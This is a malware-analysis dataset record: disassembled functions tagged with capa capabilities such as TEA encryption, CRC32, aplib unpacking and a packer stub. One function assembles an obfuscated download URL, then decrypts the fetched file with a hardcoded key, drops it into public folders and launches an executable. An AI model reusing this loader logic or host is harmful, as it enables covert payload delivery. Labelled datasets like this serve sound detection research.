joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402110
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5525a8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5b1460]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0x10
call fcn.00402590
push eax
push 0x2712
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 4]
push ecx
call fcn.00518100
add esp, 0xc
push str.Mozilla_5.0__Linux__Android_10__HLK_AL00_Build_HONORHLK_AL00__wv__AppleWebKit_537.36__KHTML__like_Gecko__Version_4.0_Chrome_86.0.4240.99_XWEB_4313_MMWEBSDK_20220805_Mobile_Safari_537.36_MMWEBID_2095_MicroMessenger_8.0.27.2220_0x28001B3F__WeChat_arm64_Weixin_NetType_WIFI_Language_zh_CN_ABI_arm64
lea ecx, [ebp - 0x2c]
call fcn.00402470
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.00402590
push eax
push 0x2722
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 4]
push eax
call fcn.00518100
add esp, 0xc
push 5
push 0x44
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 4]
push edx
call fcn.00518100
add esp, 0xc
push 1
push 0x34
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 4]
push ecx
call fcn.00518100
add esp, 0xc
push 1
push 0x63
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 4]
push eax
call fcn.00518100
add esp, 0xc
push 0
push 0x2f
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 4]
push edx
call fcn.00518100
add esp, 0xc
push 0x402330
push 0x4e2b
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 4]
push ecx
call fcn.00518100
add esp, 0xc
mov edx, dword [ebp - 0x30]
push edx
push 0x2711
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 4]
push ecx
call fcn.00518100
add esp, 0xc
push 0
push 0x40
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 4]
push eax
call fcn.00518100
add esp, 0xc
push 0
push 0x51
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 4]
push edx
call fcn.00518100
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.004024f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fd909
mov esp, ebp
pop ebp
ret

Function at 0x402360
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004fe3e9
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406bd0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x406be0
xor eax, eax
jmp 0x406d7d
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x406d3e
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x562f48]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x562f48]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x562f48]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x562f48]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x562f48]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x562f48]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x562f48]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x562f48]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0x10]
sub eax, 8
mov dword [ebp + 0x10], eax
jmp 0x406be9
cmp dword [ebp + 0x10], 0
je 0x406d77
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x562f48]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
jne 0x406d44
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x406d80
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
movsx eax, byte [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor eax, dword [ecx]
and eax, 0xff
mov edx, dword [ebp + 8]
mov ecx, dword [edx]
shr ecx, 8
xor ecx, dword [eax*4 + 0x562f48]
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
and ecx, 0xff
mov edx, dword [ebp + 8]
add ecx, dword [edx + 4]
mov eax, dword [ebp + 8]
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
imul edx, edx, 0x8088405
add edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + 4], edx
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
shr edx, 0x18
mov eax, dword [ebp + 8]
xor edx, dword [eax + 8]
and edx, 0xff
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x562f48]
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
pop ebp
ret

Function at 0x40aaf0
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0x9e3779b9
mov ecx, dword [ebp - 0x10]
shl ecx, 3
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x14], 0
jmp 0x40ab2f
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 8
jge 0x40ab93
mov eax, dword [ebp - 4]
shl eax, 4
mov ecx, dword [ebp + 0x10]
add eax, dword [ecx + 8]
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xc]
xor eax, edx
mov ecx, dword [ebp - 4]
shr ecx, 5
mov edx, dword [ebp + 0x10]
add ecx, dword [edx + 0xc]
xor eax, ecx
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
shl edx, 4
mov eax, dword [ebp + 0x10]
add edx, dword [eax]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
xor edx, ecx
mov eax, dword [ebp - 8]
shr eax, 5
mov ecx, dword [ebp + 0x10]
add eax, dword [ecx + 4]
xor edx, eax
mov eax, dword [ebp - 4]
sub eax, edx
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
jmp 0x40ab26
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov esp, ebp
pop ebp
ret
Function at 0x40ac10
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
push 0x5635b8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.004fe24b
add esp, 0xc
mov dword [ebp - 0x14], eax
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.004ff933
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.004ff844
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.004ff933
add esp, 0xc
mov edx, dword [ebp - 0x10]
push edx
call fcn.0040b28b
add esp, 4
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call fcn.004ff693
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004fe104
add esp, 4
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040abb0
add esp, 0xc
push 0x561808
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
call fcn.004fe24b
add esp, 0xc
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call fcn.004fe3e9
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004fe104
add esp, 4
mov edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.0040b296
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x40aed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5526db
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x5b1460]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xd0], ecx
mov byte [ebp - 0xc8], 0x68
mov byte [ebp - 0xc7], 0x74
mov byte [ebp - 0xc6], 0x74
mov byte [ebp - 0xc5], 0x70
mov byte [ebp - 0xc4], 0x3a
mov byte [ebp - 0xc3], 0x2f
mov byte [ebp - 0xc2], 0x2f
mov byte [ebp - 0xc1], 0x64
mov byte [ebp - 0xc0], 0x6f
mov byte [ebp - 0xbf], 0x77
mov byte [ebp - 0xbe], 0x6e
mov byte [ebp - 0xbd], 0x6c
mov byte [ebp - 0xbc], 0x6f
mov byte [ebp - 0xbb], 0x61
mov byte [ebp - 0xba], 0x64
mov byte [ebp - 0xb9], 0x2e
mov byte [ebp - 0xb8], 0x6c
mov byte [ebp - 0xb7], 0x69
mov byte [ebp - 0xb6], 0x6e
mov byte [ebp - 0xb5], 0x75
mov byte [ebp - 0xb4], 0x78
mov byte [ebp - 0xb3], 0x72
mov byte [ebp - 0xb2], 0x6f
mov byte [ebp - 0xb1], 0x6f
mov byte [ebp - 0xb0], 0x74
mov byte [ebp - 0xaf], 0x2e
mov byte [ebp - 0xae], 0x73
mov byte [ebp - 0xad], 0x69
mov byte [ebp - 0xac], 0x74
mov byte [ebp - 0xab], 0x65
mov byte [ebp - 0xaa], 0x2f
mov byte [ebp - 0xa9], 0x64
mov byte [ebp - 0xa8], 0x6f
mov byte [ebp - 0xa7], 0x77
mov byte [ebp - 0xa6], 0x6e
mov byte [ebp - 0xa5], 0x6c
mov byte [ebp - 0xa4], 0x6f
mov byte [ebp - 0xa3], 0x61
mov byte [ebp - 0xa2], 0x64
mov byte [ebp - 0xa1], 0x2f
mov byte [ebp - 0xa0], 0x33
mov byte [ebp - 0x9f], 0x31
mov byte [ebp - 0x9e], 0x35
mov byte [ebp - 0x9d], 0x33
mov byte [ebp - 0x9c], 0x2e
mov byte [ebp - 0x9b], 0x64
mov byte [ebp - 0x9a], 0x61
mov byte [ebp - 0x99], 0x74
mov byte [ebp - 0x98], 0
lea ecx, [ebp - 0x94]
call fcn.00401f60
mov dword [ebp - 4], 0
push str.C:UsersPublicMusicen.dat
lea ecx, [ebp - 0x2c]
call fcn.00402470
mov byte [ebp - 4], 1
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x48]
call fcn.00402470
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x94]
call fcn.00402260
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.004024f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.004024f0
lea ecx, [ebp - 0x94]
call fcn.00402080
push str.C:UsersPublicMusicde.dat
push str.C:UsersPublicMusicen.dat
push str.5B18C3AD8CFR4D39
call fcn.0040ac10
add esp, 0xc
push str.C:UsersPublicMusicde.dat
push str.C:UsersPublicPictures
call fcn.0040ad10
add esp, 8
push str.BitTorrentEvernoteMouseTray.exe
push str.C:UsersPublicPictures
call fcn.004fee00
add esp, 8
push 5
push 0
push 0x5613cc
push str.C:UsersPublicPictures
push str.open
push 0
call dword [0x560518]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94]
call fcn.00402010
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fd909
mov esp, ebp
pop ebp
ret

Function at 0x4daac2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004104b3
call fcn.0040d708
cmp eax, esi
pop esi
jne 0x4daade
mov ecx, 0x5b4a28
jmp fcn.00421916
ret
Function at 0x524e00
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [esi + 0x1a8]
test ecx, ecx
je 0x524e1b
mov edx, dword [esi + 0x134]
push edx
push edi
push ebx
push eax
push esi
call ecx
add esp, 0x14
ret
test eax, eax
js 0x524e4f
cmp eax, 2
jg 0x524e4f
mov ecx, dword [esi + 0x130]
push ecx
push 1
lea edx, [eax + eax*2 + 0x58a388]
push 2
push edx
call fcn.004fe3e9
mov eax, dword [esi + 0x130]
push eax
push 1
push edi
push ebx
call fcn.004fe3e9
add esp, 0x20
xor eax, eax
ret

Function at 0x528dd0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
call fcn.00528dc0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call fcn.0050c2fd
add esp, 0x10
pop ebp
ret

Function at 0x52a6f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0
push 0
push eax
push ecx
push 0
push 0
call fcn.0050299e
add esp, 0x18
test eax, eax
je 0x52a714
cmp eax, 0xffffffff
jne 0x52a716
xor eax, eax
pop ebp
ret
Function at 0x53d910
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
push ebx
mov ebx, dword [edi]
shr eax, 0x1f
push esi
add eax, edx
xor esi, esi
cmp eax, 2
je 0x53d944
push str.Couldnt_set_desired_mode
push ebx
call fcn.00524fd0
add esp, 8
lea eax, [esi + 0x11]
pop esi
pop ebx
pop ebp
ret
cmp ecx, 0xc8
je 0x53d95b
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.00524f40
add esp, 0xc
mov eax, dword [ebp + 8]
cmp eax, 0x13
jne 0x53d972
push edi
call fcn.0053d8a0
add esp, 4
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x14
jne 0x53d986
push edi
call fcn.0053ad30
add esp, 4
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x15
jne 0x53d998
mov eax, edi
call fcn.0053d8f0
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x16
jne 0x53d9a6
mov eax, edi
call fcn.0053d900
mov esi, eax
mov eax, esi
pop esi
pop ebx
pop ebp
ret
Function at 0x54db50
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x54db72
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x54db66
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x54dba2
cmp dword [esi + 8], 0
jne 0x54db95
mov ecx, dword [eax + 8]
push 0x5635b8
push ecx
call fcn.004fe234
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x54db95
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.004ff693
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x54dbc4
mov eax, dword [esi + 8]
test eax, eax
je 0x54dbbe
push eax
call fcn.004fe104
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret
Function at 0x550d60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x5b2998]
mov edi, eax
add esp, 4
test edi, edi
jne 0x550d8b
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
add edx, eax
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], edx
cmp ebx, dword [esi + 0x10]
jbe 0x550dd2
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebx
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov eax, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], eax
jmp 0x550dd5
mov ebx, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
mov edx, dword [esi]
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi]
push eax
call ecx
mov eax, dword [ebp + 0x10]
add esp, 8
mov dword [ebp - 4], 0
test eax, eax
je 0x550e36
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea esp, [esp]
mov dl, byte [ebx]
xor dl, 0x36
mov byte [ebp + 0xb], dl
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
lea eax, [ebp + 0xb]
push eax
push ecx
call edx
mov al, byte [ebx]
xor al, 0x5c
mov byte [ebp + 0xb], al
mov edx, dword [edi + 8]
mov eax, dword [esi + 4]
push 1
lea ecx, [ebp + 0xb]
push ecx
push edx
inc ebx
call eax
add esp, 0x18
dec dword [ebp - 8]
jne 0x550e00
mov ecx, dword [ebp - 4]
pop ebx
cmp ecx, dword [esi + 0x10]
jae 0x550e6f
nop
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push 1
push 0x5939fd
push edx
call eax
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
push 0x5939fe
push ecx
call edx
mov eax, dword [ebp - 4]
inc eax
add esp, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x10]
jb 0x550e40
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1137108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1137258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x113712e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x113711a
add dl, dl
jne 0x1137139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x113718c
xor eax, eax
add dl, dl
jne 0x1137146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x113722d
add dl, dl
jne 0x1137155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1137160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x113716b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1137176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1137182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1137125
mov eax, 1
add dl, dl
jne 0x113719a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x11371a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1137191
sub eax, ebx
mov ebx, 1
jne 0x11371d8
mov ecx, 1
add dl, dl
jne 0x11371be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11371c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11371b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1137125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x11371ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x11371fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x11371e6
cmp eax, 0x7d00
jae 0x113721d
cmp eax, 0x500
jb 0x1137218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1137125
cmp eax, 0x7f
ja 0x1137220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1137125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x113724e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1137125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x401050
Capabilities:
Write file on windows

Disassembly:
cmp word [eax], 0
je 0x40119b
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x38
lea esi, [esi]
add eax, 2
cmp word [eax], 0
jne 0x401068
mov ebx, eax
sub ebx, esi
sar ebx, 1
cmp esi, eax
je 0x4010b6
mov eax, dword [sym.imp.kernel32.dll_GetStdHandle]
mov dword [esp], 0xfffffff5
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
call eax
sub esp, 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_WriteConsoleW]
sub esp, 0x14
test eax, eax
je 0x4010be
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [sym.imp.kernel32.dll_GetOEMCP]
mov dword [ebp - 0x24], ecx
call ecx
mov dword [esp + 0x1c], 0
mov dword [esp], eax
mov eax, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [ebp - 0x20], eax
call eax
sub esp, 0x20
mov dword [ebp - 0x18], eax
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll_malloc]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4010b6
mov ecx, dword [ebp - 0x24]
call ecx
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov ebx, dword [ebp - 0x20]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call ebx
mov ebx, dword [ebp - 0x14]
sub esp, 0x20
mov dword [esp], 0xfffffff5
call ebx
mov ecx, dword [ebp - 0x18]
push edx
mov dword [esp + 0xc], edi
mov edi, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edi
mov dword [esp + 0x10], 0
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_WriteFile]
sub esp, 0x14
mov dword [esp], edi
call dword [sym.imp.ucrtbase.dll_free]
jmp 0x4010b6
ret

Function at 0x401550
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push eax
mov eax, 0x1010
call fcn.00403908
sub esp, eax
lea esi, [ebp - 0x1008]
mov eax, dword [esp + eax]
mov dword [esp], 0
mov ebx, eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], 0x800
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.user32.dll_LoadStringW]
sub esp, 0x10
test eax, eax
jne 0x4015a6
test byte [section..data], 2
jne 0x4015ba
mov eax, esi
call fcn.00401050
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x34]
mov dword [esp + 0xc], str.LoadString_failed__error__ld_n
mov dword [esp + 8], str.fatal_string
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0x404000
mov dword [esp], 1
call fcn.00401500
jmp 0x4015a6